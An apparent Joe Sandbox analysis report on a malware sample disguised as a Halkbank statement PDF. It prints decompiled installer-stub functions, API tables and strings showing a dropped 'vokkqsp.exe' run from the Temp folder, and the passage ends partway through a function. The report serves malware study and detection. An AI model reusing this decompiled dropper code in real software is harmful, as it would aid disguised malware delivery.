				SendMessageW(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageW(_v8, 0x1001, 0, _a8);
					SendMessageW(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t156) {
					SendMessageW(_v8, 0x1024, _t156, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E004045C4(_a4);
				if(( *0x42a278 & 0x00000003) != 0) {
					ShowWindow( *0x429230, _t156);
					if(( *0x42a278 & 0x00000002) != 0) {
						 *0x429230 = _t156;
					} else {
						ShowWindow(_v8, 8);
					}
					E004045F9( *0x429228);
				}
				_t168 = GetDlgItem(_a4, 0x3ec);
				SendMessageW(_t168, 0x401, _t156, 0x75300000);
				if(( *0x42a278 & 0x00000004) != 0) {
					SendMessageW(_t168, 0x409, _t156, _a12);
					SendMessageW(_t168, 0x2001, _t156, _a8);
				}
				goto L36;
			}

0x00405811
0x00405817
0x00405821
0x00405824
0x004059ba
0x004059de
0x004059de
0x004059f1
0x00405a0f
0x00405a11
0x00405a19
0x00405a6f
0x00405a73
0x00000000
0x00000000
0x00405a75
0x00405a7b
0x00000000
0x00000000
0x00405a85
0x00405a8d
0x00405a90
0x00405b92
0x00000000
0x00405b92
0x00405a9f
0x00405aaa
0x00405ab3
0x00405abe
0x00405ac1
0x00405aca
0x00405ad0
0x00405ad3
0x00405ad3
0x00405aeb
0x00405af4
0x00405af7
0x00405afe
0x00405b05
0x00405b0d
0x00405b0d
0x00405b24
0x00405b24
0x00405b2b
0x00405b31
0x00405b3d
0x00405b44
0x00405b4d
0x00405b4f
0x00405b52
0x00405b61
0x00405b64
0x00405b6a
0x00405b6b
0x00405b71
0x00405b72
0x00405b73
0x00405b7b
0x00405b86
0x00405b8c
0x00405b8c
0x00000000
0x00405aeb
0x00405a21
0x00405a51
0x00405a59
0x00405a64
0x00405a64
0x00405a6a
0x00000000
0x00405a6a
0x00405a25
0x00405a2f
0x00000000
0x004059f3
0x004059f9
0x00405a34
0x00000000
0x00405a3d
0x00405a02
0x00405a07
0x00405a0a
0x00000000
0x00405a0a
0x004059f1
0x0040582a
0x0040582e
0x00405836
0x0040583a
0x0040583d
0x00405840
0x00405843
0x00405846
0x00405847
0x00405848
0x00405861
0x00405864
0x0040586e
0x0040587d
0x00405885
0x0040588d
0x00405892
0x00405895
0x004058a1
0x004058aa
0x004058b3
0x004058d5
0x004058db
0x004058ec
0x004058f1
0x004058ff
0x0040590d
0x0040590d
0x00405912
0x00405920
0x00405920
0x00405925
0x00405928
0x0040592d
0x00405939
0x00405942
0x0040594f
0x0040595e
0x00405951
0x00405956
0x00405956
0x0040596a
0x0040596a
0x0040597e
0x00405987
0x00405990
0x004059a0
0x004059ac
0x004059ac
0x00000000

APIs

GetDlgItem.USER32 ref: 00405867
GetDlgItem.USER32 ref: 00405876
GetClientRect.USER32 ref: 004058B3
GetSystemMetrics.USER32 ref: 004058BA
SendMessageW.USER32(?,00001061,00000000,?), ref: 004058DB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004058EC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004058FF
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040590D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405920
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405942
ShowWindow.USER32(?,00000008), ref: 00405956
GetDlgItem.USER32 ref: 00405977
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405987
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004059A0
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004059AC
GetDlgItem.USER32 ref: 00405885

Part of subcall function 004045F9: SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607

GetDlgItem.USER32 ref: 004059C9
CreateThread.KERNEL32 ref: 004059D7
CloseHandle.KERNEL32(00000000), ref: 004059DE
ShowWindow.USER32(00000000), ref: 00405A02
ShowWindow.USER32(?,00000008), ref: 00405A07
ShowWindow.USER32(00000008), ref: 00405A51
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405A85
CreatePopupMenu.USER32 ref: 00405A96
AppendMenuW.USER32 ref: 00405AAA
GetWindowRect.USER32 ref: 00405ACA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405AE3
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B1B
OpenClipboard.USER32(00000000), ref: 00405B2B
EmptyClipboard.USER32 ref: 00405B31
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405B3D
GlobalLock.KERNEL32 ref: 00405B47
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405B5B
GlobalUnlock.KERNEL32(00000000), ref: 00405B7B
SetClipboardData.USER32 ref: 00405B86
CloseClipboard.USER32 ref: 00405B8C

Strings

H7B, xrefs: 00405AF7
{, xrefs: 00405A6F

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: H7B${
API String ID: 590372296-2256286769
Opcode ID: e4f6a996a8720e03325efe7e3e6ec8b5bf9409ee1120525c1c8a69bac62d7f01
Instruction ID: d0bbb34d81c2c7a38b5cdb5171fa906e4f4201ee6cbe22cb0b3272b57562556b
Opcode Fuzzy Hash: e4f6a996a8720e03325efe7e3e6ec8b5bf9409ee1120525c1c8a69bac62d7f01
Instruction Fuzzy Hash: D8B137B0900608FFDF119FA0DD89AAE7B79FB08354F00417AFA45A61A0CB755E52DF68

Uniqueness

Uniqueness Score: -1.00%

Function 00404AB5 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 275
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00404AB5(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				WCHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				short* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				WCHAR* _t146;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed int* _t160;
				struct HWND__* _t166;
				struct HWND__* _t167;
				int _t169;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x422720;
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xb) + 0x42b000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E00405CAC(0x3fb, _t146);
					E004068EF(_t146);
				}
				_t167 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405CAC(0x3fb, _t146);
							if(E0040603F(_t186, _t146) == 0) {
								_v8 = 1;
							}
							E00406668(0x421718, _t146);
							_t87 = E00406A35(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E00406668(0x421718, _t146);
								_t89 = E00405FE2(0x421718);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 = 0;
								}
								if(GetDiskFreeSpaceW(0x421718,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t169 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x421718) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x421718,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405F83(0x421718);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160;
									 *_t159 = 0x5c;
									if(_t159 != 0x421718) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t169 = 0x400;
								L36:
								_t95 = E00404F52(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								if( *((intOrPtr*)( *0x42923c + 0x10)) != _t158) {
									E00404F3A(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextW(_a4, _t169, 0x421708);
									} else {
										E00404E71(_t169, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x42a304 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t169) != 0) {
									_v8 = _t158;
								}
								E004045E6(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x423738 == _t158) {
									E00404A0E();
								}
								 *0x423738 = _t158;
								goto L53;
							}
						}
						_t186 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t167;
							_v72 = 0x423748;
							_v60 = E00404E0B;
							_v56 = _t146;
							_v68 = E004066A5(_t146, 0x423748, _t167, 0x421f20, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderW(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405F37(_t146);
								_t125 =  *((intOrPtr*)( *0x42a270 + 0x11c));
								if( *((intOrPtr*)( *0x42a270 + 0x11c)) != 0 && _t146 == L"C:\\Users\\jones\\AppData\\Local\\Temp") {
									E004066A5(_t146, 0x423748, _t167, 0, _t125);
									if(lstrcmpiW(0x428200, 0x423748) != 0) {
										lstrcatW(_t146, 0x428200);
									}
								}
								 *0x423738 =  *0x423738 + 1;
								SetDlgItemTextW(_t167, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t166 = GetDlgItem(_t167, 0x3fb);
					if(E00405FAE(_t146) != 0 && E00405FE2(_t146) == 0) {
						E00405F37(_t146);
					}
					 *0x429238 = _t167;
					SetWindowTextW(_t166, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E004045C4(_t167);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E004045C4(_t167);
					E004045F9(_t166);
					_t138 = E00406A35(8);
					if(_t138 == 0) {
						L53:
						return E0040462B(_a8, _a12, _a16);
					} else {
						 *_t138(_t166, 1);
						goto L8;
					}
				}
			}

0x00404ab5
0x00404abb
0x00404ac1
0x00404ace
0x00404adc
0x00404adf
0x00404ae7
0x00404aed
0x00404aed
0x00404af9
0x00404afc
0x00404b6a
0x00404b71
0x00404c48
0x00404c4f
0x00404c5e
0x00404c5e
0x00404c62
0x00404c6c
0x00404c79
0x00404c7b
0x00404c7b
0x00404c89
0x00404c90
0x00404c97
0x00404c9a
0x00404cd6
0x00404cd8
0x00404cde
0x00404ce3
0x00404ce7
0x00404ce9
0x00404ce9
0x00404d05
0x00000000
0x00404d07
0x00404d0a
0x00404d18
0x00404d1e
0x00404d1f
0x00404d22
0x00404d25
0x00000000
0x00404d25
0x00404c9c
0x00404c9e
0x00404ca2
0x00000000
0x00000000
0x00000000
0x00000000
0x00404ca4
0x00404ca4
0x00404cb1
0x00404cb6
0x00000000
0x00000000
0x00404cba
0x00404cbc
0x00404cbc
0x00404cc5
0x00404cc7
0x00404ccc
0x00404ccf
0x00404cd4
0x00000000
0x00000000
0x00000000
0x00000000
0x00404cd4
0x00404d31
0x00404d3b
0x00404d3e
0x00404d41
0x00404d48
0x00404d48
0x00404d4a
0x00404d4a
0x00404d4f
0x00404d51
0x00404d59
0x00404d60
0x00404d62
0x00404d6d
0x00404d6d
0x00404d62
0x00404d7d
0x00404d87
0x00404d8f
0x00404daa
0x00404d91
0x00404d9a
0x00404d9a
0x00404d8f
0x00404daf
0x00404db4
0x00404db9
0x00404dc2
0x00404dc2
0x00404dcb
0x00404dcd
0x00404dcd
0x00404dd9
0x00404de1
0x00404deb
0x00404deb
0x00404df0
0x00000000
0x00404df0
0x00404c9a
0x00404c51
0x00404c58
0x00000000
0x00000000
0x00000000
0x00404c58
0x00404b77
0x00404b80
0x00404b9a
0x00404b9f
0x00404ba9
0x00404bb0
0x00404bbc
0x00404bbf
0x00404bc2
0x00404bc9
0x00404bd1
0x00404bd4
0x00404bd8
0x00404bdf
0x00404be7
0x00404c41
0x00404be9
0x00404bea
0x00404bf1
0x00404bfb
0x00404c03
0x00404c10
0x00404c24
0x00404c28
0x00404c28
0x00404c24
0x00404c2d
0x00404c3a
0x00404c3a
0x00404be7
0x00000000
0x00404b9f
0x00404b8d
0x00000000
0x00000000
0x00404b93
0x00000000
0x00404afe
0x00404b0b
0x00404b14
0x00404b21
0x00404b21
0x00404b28
0x00404b2e
0x00404b37
0x00404b3a
0x00404b3d
0x00404b45
0x00404b48
0x00404b4b
0x00404b51
0x00404b58
0x00404b5f
0x00404df6
0x00404e08
0x00404b65
0x00404b68
0x00000000
0x00404b68
0x00404b5f

APIs

GetDlgItem.USER32 ref: 00404B04
SetWindowTextW.USER32(00000000,?), ref: 00404B2E
SHBrowseForFolderW.SHELL32(?), ref: 00404BDF
CoTaskMemFree.OLE32(00000000), ref: 00404BEA
lstrcmpiW.KERNEL32("C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf,00423748,00000000,?,?), ref: 00404C1C
lstrcatW.KERNEL32(?,"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf), ref: 00404C28
SetDlgItemTextW.USER32 ref: 00404C3A

Part of subcall function 00405CAC: GetDlgItemTextW.USER32(?,?,00000400,00404C71), ref: 00405CBF

Part of subcall function 004068EF: CharNextW.USER32(?,*?|<>/":,00000000,00000000,7476FAA0,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406952
Part of subcall function 004068EF: CharNextW.USER32(?,?,?,00000000,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406961
Part of subcall function 004068EF: CharNextW.USER32(?,00000000,7476FAA0,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406966
Part of subcall function 004068EF: CharPrevW.USER32(?,?,7476FAA0,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406979

GetDiskFreeSpaceW.KERNEL32(00421718,?,?,0000040F,?,00421718,00421718,?,00000001,00421718,?,?,000003FB,?), ref: 00404CFD
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404D18

Part of subcall function 00404E71: lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F12
Part of subcall function 00404E71: wsprintfW.USER32 ref: 00404F1B
Part of subcall function 00404E71: SetDlgItemTextW.USER32 ref: 00404F2E

Strings

H7B, xrefs: 00404BB2
"C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf, xrefs: 00404C16, 00404C1B, 00404C26
C:\Users\user\AppData\Local\Temp, xrefs: 00404C05
A, xrefs: 00404BD8

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf$A$C:\Users\user\AppData\Local\Temp$H7B
API String ID: 2624150263-2901825404
Opcode ID: cafbbb3b6b33e648c9f94ba13bd1897e858c1dbc17bb594ac49896ccdcf60781
Instruction ID: 9155a42c54a3203d4d9709c494e168d8d926bd307d67cbb08bf4d9f42020e7e3
Opcode Fuzzy Hash: cafbbb3b6b33e648c9f94ba13bd1897e858c1dbc17bb594ac49896ccdcf60781
Instruction Fuzzy Hash: 94A171F1900219ABDB11EFA5CD41AAFB7B8EF84315F11843BF601B62D1D77C8A418B69

Uniqueness

Uniqueness Score: -1.00%

Function 004021AA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129
comCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004021AA() {
				signed int _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr* _t91;
				signed int _t101;
				signed int _t105;
				void* _t107;

				 *((intOrPtr*)(_t107 - 0x10)) = E00402DA6(0xfffffff0);
				 *((intOrPtr*)(_t107 - 0x44)) = E00402DA6(0xffffffdf);
				 *((intOrPtr*)(_t107 - 8)) = E00402DA6(2);
				 *((intOrPtr*)(_t107 - 0x4c)) = E00402DA6(0xffffffcd);
				 *((intOrPtr*)(_t107 - 0xc)) = E00402DA6(0x45);
				_t52 =  *(_t107 - 0x20);
				 *(_t107 - 0x50) = _t52 & 0x00000fff;
				_t101 = _t52 & 0x00008000;
				_t105 = _t52 >> 0x0000000c & 0x00000007;
				 *(_t107 - 0x40) = _t52 >> 0x00000010 & 0x0000ffff;
				if(E00405FAE( *((intOrPtr*)(_t107 - 0x44))) == 0) {
					E00402DA6(0x21);
				}
				_t56 = _t107 + 8;
				__imp__CoCreateInstance(0x4084e4, _t83, 1, 0x4084d4, _t56);
				if(_t56 < _t83) {
					L14:
					 *((intOrPtr*)(_t107 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t60 =  *((intOrPtr*)(_t107 + 8));
					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x4084f4, _t107 - 0x38);
					 *((intOrPtr*)(_t107 - 0x18)) = _t61;
					if(_t61 >= _t83) {
						_t64 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x44)));
						if(_t101 == _t83) {
							_t80 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t80 + 0x24))(_t80, L"C:\\Users\\jones\\AppData\\Local\\Temp");
						}
						if(_t105 != _t83) {
							_t78 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
						}
						_t66 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x40));
						_t91 =  *((intOrPtr*)(_t107 - 0x4c));
						if( *_t91 != _t83) {
							_t76 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x50));
						}
						_t68 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
						_t70 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
						if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
							_t74 =  *((intOrPtr*)(_t107 - 0x38));
							 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x10)), 1);
						}
						_t72 =  *((intOrPtr*)(_t107 - 0x38));
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t62 =  *((intOrPtr*)(_t107 + 8));
					 *((intOrPtr*)( *_t62 + 8))(_t62);
					if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
						_push(0xfffffff4);
					} else {
						goto L14;
					}
				}
				E00401423();
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t107 - 4));
				return 0;
			}

0x004021b3
0x004021bd
0x004021c7
0x004021d1
0x004021dc
0x004021df
0x004021f9
0x004021fc
0x00402202
0x00402205
0x0040220f
0x00402213
0x00402213
0x00402218
0x00402229
0x00402231
0x004022e8
0x004022e8
0x004022ef
0x00402237
0x00402237
0x00402246
0x0040224a
0x0040224d
0x00402253
0x00402261
0x00402264
0x00402266
0x00402271
0x00402271
0x00402276
0x00402278
0x0040227f
0x0040227f
0x00402282
0x0040228b
0x0040228e
0x00402294
0x00402296
0x004022a0
0x004022a0
0x004022a3
0x004022ac
0x004022af
0x004022b8
0x004022be
0x004022c0
0x004022ce
0x004022ce
0x004022d1
0x004022d7
0x004022d7
0x004022da
0x004022e0
0x004022e6
0x004022fb
0x00000000
0x00000000
0x00000000
0x004022e6
0x004022f1
0x00402c2d
0x00402c39

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402229

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00402269

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 542301482-47812868
Opcode ID: 077b7362f6a1d4038be91bf7f4b9e5842d68daf9de23732b557fb751e09ce78c
Instruction ID: f110e38d5ccd8909b9e85e2ea6b1342c5fae2602ce40754bea02e3b472428d32
Opcode Fuzzy Hash: 077b7362f6a1d4038be91bf7f4b9e5842d68daf9de23732b557fb751e09ce78c
Instruction Fuzzy Hash: BC411771A00209EFCF40DFE4C989E9D7BB5BF49304B20456AF505EB2D1DB799981CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040290B Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040290B(short __ebx, short* __edi) {
				void* _t21;

				if(FindFirstFileW(E00402DA6(2), _t21 - 0x2dc) != 0xffffffff) {
					E004065AF( *((intOrPtr*)(_t21 - 0xc)), _t8);
					_push(_t21 - 0x2b0);
					_push(__edi);
					E00406668();
				} else {
					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
					 *__edi = __ebx;
					 *((intOrPtr*)(_t21 - 4)) = 1;
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t21 - 4));
				return 0;
			}

0x00402923
0x0040293e
0x00402949
0x0040294a
0x00402a94
0x00402925
0x00402928
0x0040292b
0x0040292e
0x0040292e
0x00402c2d
0x00402c39

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040291A

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: b2f27a8a5f9b700f187602bb898c1293859530a573ae52e9df8ecc114fa703e5
Instruction ID: b84bdfeecc4e8c0803ac0e71b8711fc90ef1d688bdc4be786e729a17b55638d3
Opcode Fuzzy Hash: b2f27a8a5f9b700f187602bb898c1293859530a573ae52e9df8ecc114fa703e5
Instruction Fuzzy Hash: 47F05E71A04105EBDB01DBB4EE49AAEB378EF14314F60457BE101F21D0E7B88E529B29

Uniqueness

Uniqueness Score: -1.00%

Function 00405031 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00405031(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed char* _v32;
				int _v36;
				signed int _v44;
				int _v48;
				signed int* _v60;
				signed char* _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t198;
				intOrPtr _t201;
				long _t207;
				signed int _t211;
				signed int _t222;
				void* _t225;
				void* _t226;
				int _t232;
				long _t237;
				long _t238;
				signed int _t239;
				signed int _t245;
				signed int _t247;
				signed char _t248;
				signed char _t254;
				void* _t258;
				void* _t260;
				signed char* _t278;
				signed char _t279;
				long _t284;
				struct HWND__* _t291;
				signed int* _t292;
				int _t293;
				long _t294;
				signed int _t295;
				void* _t297;
				long _t298;
				int _t299;
				signed int _t300;
				signed int _t303;
				signed int _t311;
				signed char* _t319;
				int _t324;
				void* _t326;

				_t291 = _a4;
				_v12 = GetDlgItem(_t291, 0x3f9);
				_v8 = GetDlgItem(_t291, 0x408);
				_t326 = SendMessageW;
				_v24 =  *0x42a288;
